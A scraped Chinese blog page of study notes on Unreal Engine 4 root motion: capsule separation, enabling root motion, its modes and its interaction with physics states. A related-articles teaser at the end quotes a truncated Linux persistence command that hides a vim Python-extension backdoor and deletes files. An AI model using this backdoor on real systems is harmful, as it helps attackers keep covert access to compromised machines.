UE4_动画基础_根运动Root Motion

server/2024/9/24 17:08:40/

学习笔记,仅供参考!

在游戏动画中,角色的碰撞胶囊体(或其他形状)通常由控制器驱动通过场景。然后来自该胶囊体的数据用于驱动动画。例如,如果胶囊体在向前移动,系统就会知道在角色上播放一个跑步或行走的动画,让角色看起来是在靠自己的力量移动。但这种类型的运动并不始终适用于所有情况。在某些情况下,让复杂的动画实际驱动碰撞胶囊体(而非相反)是有道理的。这正是 根运动(Root Motion) 处理对游戏而言至关重要的原因之所在。

例如,假设玩家发起一次特殊攻击,在这种攻击中,模型已预先设定好向前冲的动作。如果所有的角色动作都是基于玩家胶囊体的,这样的动画会导致角色迈出胶囊体,从而在事实上失去碰撞。一旦动画播放结束,玩家就会滑回其碰撞位置(也就是胶囊体的位置)。这就会产生问题,因为胶囊体通常用作所有计算的中心。胶囊体外的角色将越过几何体,不会对其环境做出适当的反应。另外,在动画结束时滑回他们的胶囊体也并不现实。

对于那些刚刚接触这个概念的人来说,仅仅阅读说明未必能显然地明白合适根运动(Root Motion)的重要性。下面有一个角色正在执行一个预设定攻击动作,在这个攻击中,他们向前猛冲并砸下锤子。请注意,角色向前移动的动画不是在游戏中处理的 - 而是由动画艺术家以这种方式创建的。

其实通俗点讲就是动画驱动网格体向前运动,而胶囊体是游戏控制的,并没有向前运动,这样就导致网格体又回到了胶囊体的位置,动画并没有控制角色实例胶囊体的移动。

什么是根运动?

简单地说,根运动(Root Motion)是基于骨架根骨骼动画的角色运动。游戏中的大多数动画都是通过循环处理的,角色的根在循环中保持固定。然而,实际情况却并非始终如此,正如我们在上例中看到的那样。为了处理这个问题,我们需要将根的运动从角色中抽离,并将其应用到角色的胶囊体中。这就是UE4中根运动(Root Motion)的本质。

为了正确地使用根运动(Root Motion),必须注意角色的根骨骼(Root Bone)应该位于原点(0,0,0,无旋转),因为这样能使系统将物理移动(胶囊体)从动画移动(角色)中分离出来。

动画的根运动(Root Motion)可以在播放过程中可视化。只需打开任何根骨骼移动的动画,在视口中选择 显示 > 骨骼(Show > Bones) 即可。如果尚未在动画属性中选择 启用根运动(Enable Root Motion) ,当角色的根移动时,你会看到一条红线。这说明了动画的根运动(Root Motion)。

启用根运动(Root Motion)后,这条红线将消失。而角色将移动到位。这是因为,角色的根将不再从原始位置移动。在这个图像中,我们在角色上启用了根运动(Root Motion)。请注意,我们与上面的图像处于同一帧,但是角色的位置没有改变。

那么,这意味着什么?既然系统已经考虑到了角色动画的根运动(Root Motion),那么它就可以将同样的运动重新应用到角色的碰撞胶囊体。这意味着,它仍然可以完全按照动画师的期望运动,但它也可以对游戏中的碰撞以及其他物理和游戏进程事件做出正确的反应

启用根运动

你可以在 动画编辑器(Animation Editor) 中的 资源详细信息(Asset Details) 面板中为你的动画序列启用根运动(Root Motion)。

根运动(Root Motion)根据动画序列(Animation Sequence)处理,可以在动画序列(Animation Sequence)的 资源详细信息(Asset Details) 面板中开启和关闭。对于网络游戏,根运动(Root Motion)需要使用动画蒙太奇(Animation Montage),请参见下面的 仅来自蒙太奇的根运动。

在定义是否在动画序列(Animation Sequence)中启用根运动(Root Motion)时,你仍然需要确定如何在 动画蓝图中处理该序列。有几种不同的方法可以处理动画蓝图(Animation Blueprints)中的根运动(Root Motion)。你可以通过 动画蓝图编辑器(Anim Blueprint Editor) 的 详细信息(Details) 面板中的 根运动模式(Root Motion Mode) 下拉菜单定义方式。

来自每一项目的根运动

当这个选项被设置为根运动模式(Root Motion Mode)时,则会提取每个帮助构建最终角色姿势的动画资源(AnimSequence、Blendspace、AnimMontage等)的根运动(如果它已被设置为包含根运动(Root Motion))。每一部分的提取根运动(Root Motion)均根据构成该姿态之源资源的权重进行混合。

例如:

FromEverything.png

在上图中, Jog_Loop_Fwd_RM 和 Jog_Loop_Right_RM 的根运动(Root Motion)将以0.5的权重混合起来。在这种情况下,生成的动画是一个角色在地图上沿对角线向前和向右运行。

仅来自蒙太奇的根运动

该方法适用于网络游戏,这也是其功能受限的原因。由于 来自每一项目的根运动 被设计为不受限制,因此建议仅在不在网络上复制动画的游戏中使用此方法。

动作中的根运动

下面是不处理根运动(Root Motion)所导致问题的细分,以及根运动(Root Motion)对动画的益处。

无根运动

如果没有根运动(Root Motion),攻击动画(例如下面的这个)会将角色从他们的胶囊体中拉出。你可能还会注意到难看的弹回胶囊体位置。这是因为一旦动画播放完毕,角色控制器就会将角色拉回其原始位置。

为何胶囊体分离不良

在这种情况下,位移回弹问题不是唯一要克服的问题。由于角色正在离开碰撞形状,它将穿过世界场景对象,并打破整体的连续性。在此示例中,我们可以看到角色的攻击使他们首先穿过墙壁,然后又跳回。

利用根运动解决问题

一旦你的动画设置为利用根运动(Root Motion),那么动画师设置的运动将暂时成为胶囊体的驱动力。这让我们可以从动画的终点继续播放。可以看到,当我们第二次触发攻击时,我们从新的位置出发。当然,我们先转过身来,这样就不会偏离镜头。

根运动和物理状态

随着胶囊体的出现,这意味着物理碰撞仍然可以使用,并且我们解决了角色穿过墙壁的问题,同时也缓解了角色需要位移回弹到胶囊体位置的问题。在下图中,动画使用根运动(Root Motion),它同时带上了胶囊体,导致角色与墙壁相撞,而不是穿过墙壁。

你会注意到它不是很完美,因为角色的屈身动画会导致它有点穿过墙壁。然而,这可以很容易地通过处理墙壁或角色上的碰撞体积来管理。重要的是,胶囊体能跟上运动,防止角色一路穿过墙壁并在之后不得不弹回。

在根运动(Root Motion)期间,角色的物理状态将被加以考虑。例如,如果角色物理状态是行走或掉落,则忽略根运动(Root Motion)的Z轴,并应用重力。角色将掉落,下坡或上楼梯。如果角色物理状态是飞行,则应用完整的根运动(Root Motion),并忽略重力。


http://www.ppmy.cn/server/14214.html

相关文章

linux权限维持(三)

5.vim python 扩展后门 适用于安装了 vim 且安装了 python 扩展 ( 绝大版本默认安装 ) 的 linux 系统。 cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py">/dev/null 2>&1 &) && sleep 2 && rm -f…

ChatGPT实战100例 - (18) 用事件风暴玩转DDD

文章目录 ChatGPT实战100例 - (18) 用事件风暴玩转DDD一、标准流程二、定义目标和范围三、准备工具和环境四、列举业务事件五、 组织和排序事件六、确定聚合并引入命令七、明确界限上下文八、识别领域事件和领域服务九、验证和修正模型十、生成并验证软件设计十一、总结 ChatGP…

慢生活,慢光阴

不知是哪一天,也不知是在哪一年,生物钟不像以前那样准了,节奏也慢了许多,姿态也是收的,像暮色轻笼之下的睡莲,一瓣一瓣地收回盛开的花瓣;无谓的期盼渐渐少了,更在意过好每一个今天&a…

Java23种设计模式-创建型模式之抽象工厂模式

抽象工厂模式(Abstract Factory Pattern)是一种创建型设计模式,它用于创建相关或相互依赖对象的一组,而无需指定其具体的类。这种模式特别适用于产品族的情况,即一组相互关联的产品对象。 存在四种角色: 角色1:抽象工…

用C#写一个读取pdf文档内容的库

安装这两个库,第二个库一定要安装否则有些pdf文件读取会出现异常 读取 using iText.Kernel.Pdf; using iText.Kernel.Pdf.Canvas.Parser; using iText.Kernel.Pdf.Canvas.Parser.Listener;namespace TestReadPdf {public static class PdfHelper{public static IE…

linux redis 开机自启

安装位置/data/redis访问端口6379配置文件地址/data/redis/bin/ make PREFIX/data/redis install cp redis.conf /data/redis/bin/ cd /data/redis/bin/ ./redis-server /data/redis/bin/redis.conf 配置redis跟随系统启动自动启动 将redis_init_script脚本拷贝到linux的/etc…

Redis不再开源,Linux基金会推出下一代开源替代方案!

刚刚,Linux基金会宣布推出Valkey的最新候选版本7.2.5-rc1,Redis成为了热门话题。这个内存中的NoSQL数据存储解决方案引起了广泛关注,让我们深入了解Valkey以及它如何成为Redis领域的颠覆者。 Valkey简介 Valkey是一个开源键值(K…

微软Phi-3,3.8亿参数能与Mixtral 8x7B和GPT-3.5相媲美,量化后还可直接在IPhone中运行

Phi-3系列 Phi-3是一系列先进的语言模型,专注于在保持足够紧凑以便在移动设备上部署的同时,实现高性能。Phi-3系列包括不同大小的模型: Phi-3-mini(38亿参数) - 该模型在3.3万亿个令牌上进行训练,设计得足…